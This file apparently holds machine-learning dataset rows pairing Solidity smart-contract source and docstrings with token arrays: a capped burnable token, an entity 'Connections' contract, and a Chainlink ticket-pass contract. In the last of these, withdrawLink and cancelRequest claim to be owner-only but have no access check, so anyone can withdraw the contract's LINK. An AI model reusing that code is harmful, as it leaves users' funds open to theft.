[ 1, 16351, 3155, 353, 4232, 39, 3462, 288, 203, 565, 533, 1071, 389, 529, 31, 203, 565, 533, 1071, 389, 7175, 31, 203, 565, 2254, 28, 1071, 389, 31734, 31, 203, 203, 202, 2575, 600, 5349, 6275, 7381, 12, 11890, 5034, 1592, 6275, 16, 2254, 5034, 394, 6275, 16, 2254, 5034, 813, 1769, 203, 202, 2575, 30959, 2888, 5349, 7381, 12, 6430, 1267, 16, 2254, 5034, 813, 1769, 203, 565, 871, 1147, 5541, 7381, 12, 2867, 3410, 16, 1758, 394, 5541, 1769, 203, 203, 203, 565, 3885, 12, 203, 3639, 533, 3778, 508, 67, 16, 203, 3639, 533, 3778, 3273, 67, 16, 203, 3639, 2254, 28, 15105, 67, 16, 203, 3639, 2254, 5034, 2078, 3088, 1283, 67, 16, 203, 3639, 1426, 389, 970, 77, 2888, 5349, 16, 203, 3639, 2254, 5034, 389, 3350, 5349, 6275, 16, 203, 3639, 1758, 1147, 5541, 1887, 203, 203, 565, 262, 8843, 429, 288, 203, 377, 202, 6528, 12, 2316, 5541, 1887, 480, 1758, 12, 20, 3631, 315, 5541, 848, 1404, 506, 3634, 1758, 8863, 203, 3639, 309, 24899, 970, 77, 2888, 5349, 13, 288, 203, 5411, 2583, 24899, 3350, 5349, 6275, 1545, 4336, 380, 261, 2163, 2826, 15105, 67, 3631, 315, 2888, 5349, 3844, 5242, 2353, 4336, 8863, 203, 3639, 289, 203, 3639, 389, 529, 273, 508, 67, 31, 203, 3639, 389, 7175, 273, 3273, 67, 31, 203, 3639, 389, 31734, 273, 15105, 67, 31, 203, 3639, 1147, 5541, 273, 1147, 5541, 1887, 31, 203, 3639, 600, 5349, 6275, 273, 389, 3350, 5349, 6275, 31, 203, 3639, 30959, 2888, 2 ]
pragma solidity ^0.4.24; // Code from Open Zeppelin import "./Ownable.sol"; import "./SafeMath.sol"; import "./ERC20.sol"; import "./DetailedERC20.sol"; import "./StandardToken.sol"; import "./MintableToken.sol"; /** * @title Capped token * @dev Mintable token with a token cap. */ contract CappedToken is MintableToken { uint256 public cap; // mapping to see how many tokens did an address burn mapping(address => uint256) public valueBurned; constructor(uint256 _cap) public { require(_cap > 0); cap = _cap; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint( address _to, uint256 _amount ) public returns (bool) { require(totalSupply_.add(_amount) <= cap); return super.mint(_to, _amount); } // Burnable token so we can send to yanluo event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { _burn(msg.sender, _value); } /** * @dev Burns a specific amount of tokens from the target address and decrements allowance * @param _from address The address which you want to send tokens from * @param _value uint256 The amount of token to be burned */ function burnFrom(address _from, uint256 _value) public { require(_value <= allowed[_from][msg.sender]); // Should https://github.com/OpenZeppelin/zeppelin-solidity/issues/707 be accepted, // this function needs to emit an event with the updated approval. allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); _burn(_from, _value); } function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure balances[_who] = balances[_who].sub(_value); valueBurned[_who] = valueBurned[_who].add(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } }
* @dev Function to mint tokens @param _to The address that will receive the minted tokens. @param _amount The amount of tokens to mint. @return A boolean that indicates if the operation was successful./
function mint( address _to, uint256 _amount ) public returns (bool) { require(totalSupply_.add(_amount) <= cap); return super.mint(_to, _amount); }
1,013,593
[ 1, 2083, 358, 312, 474, 2430, 225, 389, 869, 1021, 1758, 716, 903, 6798, 326, 312, 474, 329, 2430, 18, 225, 389, 8949, 1021, 3844, 434, 2430, 358, 312, 474, 18, 327, 432, 1250, 716, 8527, 309, 326, 1674, 1703, 6873, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 312, 474, 12, 203, 565, 1758, 389, 869, 16, 203, 565, 2254, 5034, 389, 8949, 203, 225, 262, 203, 565, 1071, 203, 565, 1135, 261, 6430, 13, 203, 225, 288, 203, 565, 2583, 12, 4963, 3088, 1283, 27799, 1289, 24899, 8949, 13, 1648, 3523, 1769, 203, 203, 565, 327, 2240, 18, 81, 474, 24899, 869, 16, 389, 8949, 1769, 203, 225, 289, 203, 21281, 21281, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity 0.4.19; contract IConnections { // Forward = the connection is from the Connection creator to the specified recipient // Backwards = the connection is from the specified recipient to the Connection creator enum Direction {NotApplicable, Forwards, Backwards, Invalid} function createUser() external returns (address entityAddress); function createUserAndConnection(address _connectionTo, bytes32 _connectionType, Direction _direction) external returns (address entityAddress); function createVirtualEntity() external returns (address entityAddress); function createVirtualEntityAndConnection(address _connectionTo, bytes32 _connectionType, Direction _direction) external returns (address entityAddress); function editEntity(address _entity, bool _active, bytes32 _data) external; function transferEntityOwnerPush(address _entity, address _newOwner) external; function transferEntityOwnerPull(address _entity) external; function addConnection(address _entity, address _connectionTo, bytes32 _connectionType, Direction _direction) public; function editConnection(address _entity, address _connectionTo, bytes32 _connectionType, Direction _direction, bool _active, bytes32 _data, uint _expiration) external; function removeConnection(address _entity, address _connectionTo, bytes32 _connectionType) external; function isUser(address _entity) view public returns (bool isUserEntity); function getEntity(address _entity) view external returns (bool active, address transferOwnerTo, bytes32 data, address owner); function getConnection(address _entity, address _connectionTo, bytes32 _connectionType) view external returns (bool entityActive, bool connectionEntityActive, bool connectionActive, bytes32 data, Direction direction, uint expiration); // ################## Events ################## // event entityAdded(address indexed entity, address indexed owner); event entityModified(address indexed entity, address indexed owner, bool indexed active, bytes32 data); event entityOwnerChangeRequested(address indexed entity, address indexed oldOwner, address newOwner); event entityOwnerChanged(address indexed entity, address indexed oldOwner, address newOwner); event connectionAdded(address indexed entity, address indexed connectionTo, bytes32 connectionType, Direction direction); event connectionModified(address indexed entity, address indexed connectionTo, bytes32 indexed connectionType, Direction direction, bool active, uint expiration); event connectionRemoved(address indexed entity, address indexed connectionTo, bytes32 indexed connectionType); event entityResolved(address indexed entityRequested, address indexed entityResolved); } /** * @title Connections v0.2 * @dev The Connections contract records different connections between different types of entities. * * The contract has been designed for flexibility and scalability for use by anyone wishing to record different types of connections. * * Entities can be Users representing People, or Virtual Entities representing abstract types such as companies, objects, devices, robots etc... * User entities are special: each Ethereum address that creates or controls a User entity can only ever create one User Entity. * Each entity has an address to refer to it. * * Each entity has a number of connections to other entities, which are refered to using the entities address that the connection is to. * Modifying or removing entities, or adding, modifying or removing connections can only be done by the entity owner. * * Each connection also has a type, a direction and an expiration. The use of these fields is up to the Dapp to define and interprete. * Hashing a string of the connection name to create the connection type is suggested to obscure and diffuse types. Example bytes32 connection types: * 0x30ed9383ab64b27cb4b70035e743294fe1a1c83eaf57eca05033b523d1fa4261 = keccak256("isAdvisorOf") * 0xffe72ffb7d5cc4224f27ea8ad324f4b53b37835a76fc2b627b3d669180b75ecc = keccak256("isPartneredWith") * 0xa64b51178a7ee9735fb96d8e7ffdebb455b02beb3b1e17a709b5c1beef797405 = keccak256("isEmployeeOf") * 0x0079ca0c877589ba53b2e415a660827390d2c2a62123cef473009d003577b7f6 = keccak256("isColleagueOf") * */ contract Connections is IConnections { struct Entity { bool active; address transferOwnerTo; address owner; bytes32 data; // optional, this can link to IPFS or another off-chain storage location mapping (address => mapping (bytes32 => Connection)) connections; } // Connection has a type and direction struct Connection { bool active; bytes32 data; // optional, this can link to IPFS or another off-chain storage location Direction direction; uint expiration; // optional, unix timestamp or latest date to assume this connection is valid, 0 as no expiration } mapping (address => Entity) public entities; mapping (address => address) public entityOfUser; uint256 public virtualEntitiesCreated = 0; // ################## Constructor and Fallback function ################## // /** * Constructor */ function Connections() public {} /** * Fallback function that cannot be called and will not accept Ether * Note that Ether can still be forced to this contract with a contract suicide() */ function () external { revert(); } // ################## External function ################## // /** * Creates a new user entity with an address of the msg.sender */ function createUser() external returns (address entityAddress) { entityAddress = msg.sender; assert(entityOfUser[msg.sender] == address(0)); createEntity(entityAddress, msg.sender); entityOfUser[msg.sender] = entityAddress; } /** * Creates a new user entity and a connection in one transaction * @param _connectionTo - the address of the entity to connect to * @param _connectionType - hash of the connection type * @param _direction - indicates the direction of the connection type */ function createUserAndConnection( address _connectionTo, bytes32 _connectionType, Direction _direction ) external returns (address entityAddress) { entityAddress = msg.sender; assert(entityOfUser[msg.sender] == address(0)); createEntity(entityAddress, msg.sender); entityOfUser[msg.sender] = entityAddress; addConnection(entityAddress, _connectionTo, _connectionType, _direction); } /** * Creates a new virtual entity that is assigned to a unique address */ function createVirtualEntity() external returns (address entityAddress) { entityAddress = createVirtualAddress(); createEntity(entityAddress, msg.sender); } /** * Creates a new virtual entity and a connection in one transaction * @param _connectionTo - the address of the entity to connect to * @param _connectionType - hash of the connection type * @param _direction - indicates the direction of the connection type */ function createVirtualEntityAndConnection( address _connectionTo, bytes32 _connectionType, Direction _direction ) external returns (address entityAddress) { entityAddress = createVirtualAddress(); createEntity(entityAddress, msg.sender); addConnection(entityAddress, _connectionTo, _connectionType, _direction); } /** * Edits data or active boolean of an entity that the msg sender is an owner of * This can be used to activate or deactivate an entity * @param _entity - the address of the entity to edit * @param _active - boolean to indicate if the entity is active or not * @param _data - data to be used to locate off-chain information about the user */ function editEntity(address _entity, bool _active, bytes32 _data) external { address resolvedEntity = resolveEntityAddressAndOwner(_entity); Entity storage entity = entities[resolvedEntity]; entity.active = _active; entity.data = _data; entityModified(_entity, msg.sender, _active, _data); } /** * Creates a request to transfer the ownership of an entity which must be accepted. * To cancel a request execute this function with _newOwner = address(0) * @param _entity - the address of the entity to transfer * @param _newOwner - the address of the new owner that will then have the exclusive permissions to control the entity */ function transferEntityOwnerPush(address _entity, address _newOwner) external { address resolvedEntity = resolveEntityAddressAndOwner(_entity); entities[resolvedEntity].transferOwnerTo = _newOwner; entityOwnerChangeRequested(_entity, msg.sender, _newOwner); } /** * Accepts a request to transfer the ownership of an entity * @param _entity - the address of the entity to get ownership of */ function transferEntityOwnerPull(address _entity) external { address resolvedEntity = resolveEntityAddress(_entity); emitEntityResolution(_entity, resolvedEntity); Entity storage entity = entities[resolvedEntity]; require(entity.transferOwnerTo == msg.sender); if (isUser(resolvedEntity)) { // This is a user entity assert(entityOfUser[msg.sender] == address(0) || entityOfUser[msg.sender] == resolvedEntity); entityOfUser[msg.sender] = resolvedEntity; } address oldOwner = entity.owner; entity.owner = entity.transferOwnerTo; entity.transferOwnerTo = address(0); entityOwnerChanged(_entity, oldOwner, msg.sender); } /** * Edits a connection to another entity * @param _entity - the address of the entity to edit the connection of * @param _connectionTo - the address of the entity to connect to * @param _connectionType - hash of the connection type * @param _active - boolean to indicate if the connection is active or not * @param _direction - indicates the direction of the connection type * @param _expiration - number to indicate the expiration of the connection */ function editConnection( address _entity, address _connectionTo, bytes32 _connectionType, Direction _direction, bool _active, bytes32 _data, uint _expiration ) external { address resolvedEntity = resolveEntityAddressAndOwner(_entity); address resolvedConnectionEntity = resolveEntityAddress(_connectionTo); emitEntityResolution(_connectionTo, resolvedConnectionEntity); Entity storage entity = entities[resolvedEntity]; Connection storage connection = entity.connections[resolvedConnectionEntity][_connectionType]; connection.active = _active; connection.direction = _direction; connection.data = _data; connection.expiration = _expiration; connectionModified(_entity, _connectionTo, _connectionType, _direction, _active, _expiration); } /** * Removes a connection from the entities connections mapping. * If this is the last connection of any type to the _connectionTo address, then the removeConnection function should also be called to clean up the Entity * @param _entity - the address of the entity to edit the connection of * @param _connectionTo - the address of the entity to connect to * @param _connectionType - hash of the connection type */ function removeConnection(address _entity, address _connectionTo, bytes32 _connectionType) external { address resolvedEntity = resolveEntityAddressAndOwner(_entity); address resolvedConnectionEntity = resolveEntityAddress(_connectionTo); emitEntityResolution(_connectionTo,resolvedConnectionEntity); Entity storage entity = entities[resolvedEntity]; delete entity.connections[resolvedConnectionEntity][_connectionType]; connectionRemoved(_entity, _connectionTo, _connectionType); // TBD: @haresh should we use resolvedEntity and resolvedConnectionEntity here? } /** * Returns the sha256 hash of a string. Useful for looking up the bytes32 values are for connection types. * Note this function is designed to be called off-chain for convenience, it is not used by any functions internally and does not change contract state * @param _string - string to hash * @return result - the hash of the string */ function sha256ofString(string _string) external pure returns (bytes32 result) { result = keccak256(_string); } /** * Returns all the fields of an entity * @param _entity - the address of the entity to retrieve * @return (active, transferOwnerTo, data, owner) - a tuple containing the active flag, transfer status, data field and owner of an entity */ function getEntity(address _entity) view external returns (bool active, address transferOwnerTo, bytes32 data, address owner) { address resolvedEntity = resolveEntityAddress(_entity); Entity storage entity = entities[resolvedEntity]; return (entity.active, entity.transferOwnerTo, entity.data, entity.owner); } /** * Returns details of a connection * @param _entity - the address of the entity which created the * @return (entityActive, connectionEntityActive, connectionActive, data, direction, expiration) * - tupple containing the entity active and the connection fields */ function getConnection( address _entity, address _connectionTo, bytes32 _connectionType ) view external returns ( bool entityActive, bool connectionEntityActive, bool connectionActive, bytes32 data, Direction direction, uint expiration ){ address resolvedEntity = resolveEntityAddress(_entity); address resolvedConnectionEntity = resolveEntityAddress(_connectionTo); Entity storage entity = entities[resolvedEntity]; Connection storage connection = entity.connections[resolvedConnectionEntity][_connectionType]; return (entity.active, entities[resolvedConnectionEntity].active, connection.active, connection.data, connection.direction, connection.expiration); } // ################## Public function ################## // /** * Creates a new connection to another entity * @param _entity - the address of the entity to add a connection to * @param _connectionTo - the address of the entity to connect to * @param _connectionType - hash of the connection type * @param _direction - indicates the direction of the connection type */ function addConnection( address _entity, address _connectionTo, bytes32 _connectionType, Direction _direction ) public { address resolvedEntity = resolveEntityAddressAndOwner(_entity); address resolvedEntityConnection = resolveEntityAddress(_connectionTo); emitEntityResolution(_connectionTo, resolvedEntityConnection); Entity storage entity = entities[resolvedEntity]; assert(!entity.connections[resolvedEntityConnection][_connectionType].active); Connection storage connection = entity.connections[resolvedEntityConnection][_connectionType]; connection.active = true; connection.direction = _direction; connectionAdded(_entity, _connectionTo, _connectionType, _direction); } /** * Returns true if an entity is a user, false if a virtual entity or fails if is not an entity * @param _entity - the address of the entity * @return isUserEntity - true if the entity was created with createUser(), false if the entity is created using createVirtualEntity() */ function isUser(address _entity) view public returns (bool isUserEntity) { address resolvedEntity = resolveEntityAddress(_entity); assert(entities[resolvedEntity].active); // Make sure the user is active, otherwise this function call is invalid address owner = entities[resolvedEntity].owner; isUserEntity = (resolvedEntity == entityOfUser[owner]); } // ################## Internal functions ################## // /** * Creates a new entity at a specified address */ function createEntity(address _entityAddress, address _owner) internal { require(!entities[_entityAddress].active); // Ensure the new entity address is not in use, prevents forceful takeover off addresses Entity storage entity = entities[_entityAddress]; entity.active = true; entity.owner = _owner; entityAdded(_entityAddress, _owner); } /** * Returns a new unique deterministic address that has not been used before */ function createVirtualAddress() internal returns (address virtualAddress) { virtualAddress = address(keccak256(safeAdd(virtualEntitiesCreated,block.number))); virtualEntitiesCreated = safeAdd(virtualEntitiesCreated,1); } /** * Emits an event if an entity resolution took place. Separated out as it would impact * view only functions which need entity resolution as well. */ function emitEntityResolution(address _entity, address _resolvedEntity) internal { if (_entity != _resolvedEntity) entityResolved(_entity,_resolvedEntity); } /** * Returns the correct entity address resolved based on entityOfUser mapping */ function resolveEntityAddress(address _entityAddress) internal view returns (address resolvedAddress) { if (entityOfUser[_entityAddress] != address(0) && entityOfUser[_entityAddress] != _entityAddress) { resolvedAddress = entityOfUser[_entityAddress]; } else { resolvedAddress = _entityAddress; } } /** * Returns the correct entity address resolved based on entityOfUser mapping and also reverts if the * resolved if it is owned by the message sender * sender. */ function resolveEntityAddressAndOwner(address _entityAddress) internal returns (address entityAddress) { entityAddress = resolveEntityAddress(_entityAddress); emitEntityResolution(_entityAddress, entityAddress); require(entities[entityAddress].owner == msg.sender); } /** * Adds two numbers and returns result throws in case an overflow occurs. */ function safeAdd(uint256 x, uint256 y) internal pure returns(uint256) { uint256 z = x + y; assert(z >= x); return z; } }
* Returns the sha256 hash of a string. Useful for looking up the bytes32 values are for connection types. Note this function is designed to be called off-chain for convenience, it is not used by any functions internally and does not change contract state @param _string - string to hash @return result - the hash of the string/
function sha256ofString(string _string) external pure returns (bytes32 result) { result = keccak256(_string); }
6,630,475
[ 1, 1356, 326, 6056, 5034, 1651, 434, 279, 533, 18, 19256, 364, 7849, 731, 326, 1731, 1578, 924, 854, 364, 1459, 1953, 18, 3609, 333, 445, 353, 26584, 358, 506, 2566, 3397, 17, 5639, 364, 13553, 16, 518, 353, 486, 1399, 635, 1281, 4186, 12963, 471, 1552, 486, 2549, 6835, 919, 225, 389, 1080, 300, 533, 358, 1651, 327, 563, 300, 326, 1651, 434, 326, 533, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 6056, 5034, 792, 780, 12, 1080, 389, 1080, 13, 3903, 16618, 1135, 261, 3890, 1578, 563, 13, 288, 203, 3639, 563, 273, 417, 24410, 581, 5034, 24899, 1080, 1769, 203, 565, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.6.7; pragma experimental ABIEncoderV2; import "https://github.com/smartcontractkit/chainlink/evm-contracts/src/v0.6/ChainlinkClient.sol"; import "https://raw.githubusercontent.com/OpenZeppelin/openzeppelin-contracts/solc-0.6/contracts/access/Ownable.sol"; /** * @title TransportContract requests data from * the Chainlink network * @dev This contract is designed to work on multiple networks, including * local test networks * test location: ["45.7905","11.9202"] * test start: "2021-02-07 20:00:00" * test end: "2021-04-07 20:00:00" * * Link Address: 0xa36085F69e2889c224210F603D836748e7dC0088 */ contract GeoDBChainlink is ChainlinkClient, Ownable { uint256 oraclePayment; uint256 public price = 0; address oracle = 0xA356990bCDed8Cc6865Be606D64E7381bfe00B72; string jobId = "0xfE6676f8A96005445848632a5A2D67721d584dAd"; string radius = "150"; bool public priceRetuned = false; bool public passPurchased = false; uint256 public currentPrice; uint256 pricePerStation = 34; //Price per station in 10^3 ETH uint256 crowdMultiplier = 1; //Mutiplier for crowd price offset /** * Network: Moonbase Alpha * Oracle: * Name: Price Feeds * Address: 0xA356990bCDed8Cc6865Be606D64E7381bfe00B72 * Job: * Name: ETH to USD * ID: 0xfE6676f8A96005445848632a5A2D67721d584dAd * Fee: 0 LINK */ constructor(uint256 _oraclePayment, address _link) public { oraclePayment = _oraclePayment; } function requestUsers(string memory _lat, string memory _lng, string memory _start, string memory _end) private { price += pricePerStation; } function requestPrice(string[] memory _locations, string memory _start, string memory _end) public { price = 0; for (uint i = 0; i < _locations.length; i += 2) { requestUsers(_locations[i], _locations[i + 1], _start, _end); } priceRetuned = true; } function purchasePass() public payable { if (1000 * msg.value >= price * 1 ether && priceRetuned) { address payable owner = payable(owner()); owner.transfer(msg.value); passPurchased = true; priceRetuned = false; } else { passPurchased = false; } } function issuePass() public returns(bool) { bool shoudIssuePass = passPurchased; passPurchased = false; return shoudIssuePass; } // Creates Chainlink Request function requestPrice() public { // newRequest takes a JobID, a callback address, and callback function as input Chainlink.Request memory req = buildChainlinkRequest(stringToBytes32(jobId), address(this), this.fulfill.selector); // Sends the request with the amount of payment specified to the oracle sendChainlinkRequestTo(oracle, req, 0); } // Callback function called by the Oracle when it has resolved the request function fulfill(bytes32 _requestId, uint256 _price) public recordChainlinkFulfillment(_requestId) { currentPrice = _price; } // Allows the owner to cancel an unfulfilled request function cancelRequest( bytes32 _requestId, uint256 _payment, bytes4 _callbackFunctionId, uint256 _expiration ) public { cancelChainlinkRequest(_requestId, _payment, _callbackFunctionId, _expiration); } // Allows the owner to withdraw the LINK tokens in the contract to the address calling this function function withdrawLink() public { LinkTokenInterface link = LinkTokenInterface(chainlinkTokenAddress()); require(link.transfer(msg.sender, link.balanceOf(address(this))), "Unable to transfer"); } // Decodes an input string in a bytes32 word function stringToBytes32(string memory _source) private pure returns (bytes32 result) { bytes memory emptyStringTest = bytes(_source); if (emptyStringTest.length == 0) { return 0x0; } assembly { // solhint-disable-line no-inline-assembly result := mload(add(_source, 32)) } return result; } }
Callback function called by the Oracle when it has resolved the request
function fulfill(bytes32 _requestId, uint256 _price) public recordChainlinkFulfillment(_requestId) { currentPrice = _price; }
12,739,585
[ 1, 2428, 445, 2566, 635, 326, 28544, 1347, 518, 711, 4640, 326, 590, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 22290, 12, 3890, 1578, 389, 2293, 548, 16, 2254, 5034, 389, 8694, 13, 203, 1377, 1071, 203, 1377, 1409, 3893, 1232, 23747, 5935, 475, 24899, 2293, 548, 13, 203, 565, 288, 203, 1377, 783, 5147, 273, 389, 8694, 31, 203, 565, 289, 203, 377, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use 